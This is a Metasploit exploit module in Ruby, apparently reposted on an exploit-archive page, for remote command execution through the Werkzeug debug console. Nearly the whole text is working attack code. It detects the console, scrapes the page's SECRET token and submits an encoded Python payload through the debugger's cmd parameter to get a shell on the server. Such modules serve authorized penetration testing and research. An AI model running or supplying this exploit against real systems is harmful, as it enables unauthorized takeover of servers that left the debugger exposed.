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Werkzeug Debug Shell Command Execution

Posted on 18 August 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit4 < Msf::Exploit::Remote

 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Werkzeug Debug Shell Command Execution',
 'Description' => %q{
 This module will exploit the Werkzeug debug console to put down a
 Python shell. This debugger "must never be used on production
 machines" but sometimes slips passed testing.

 Tested against:
 0.9.6 on Debian
 0.9.6 on Centos
 0.10 on Debian
 },
 'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
 'References' =>
 [
 ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
 ],
 'License' => MSF_LICENSE,
 'Platform' => ['python'],
 'Targets' => [[ 'werkzeug 0.10 and older', {}]],
 'Arch' => ARCH_PYTHON,
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Jun 28 2015'
 ))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
 ], self.class
 )
 end

 def check
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(datastore['TARGETURI'])
 )

 # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
 if res && res.body =~ /Werkzeug powered traceback interpreter/
 return Exploit::CheckCode::Appears
 end

 Exploit::CheckCode::Safe
 end

 def exploit
 # first we need to get the SECRET code
 res = send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(datastore['TARGETURI'])
 )

 if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
 secret = $1
 vprint_status("Secret Code: #{secret}")
 send_request_cgi(
 'method' => 'GET',
 'uri' => normalize_uri(datastore['TARGETURI']),
 'vars_get' => {
 '__debugger__' => 'yes',
 'cmd' => payload.encoded,
 'frm' => '0',
 's' => secret
 }
 )
 else
 print_error('Secret code not detected.')
 end
 end

end

 

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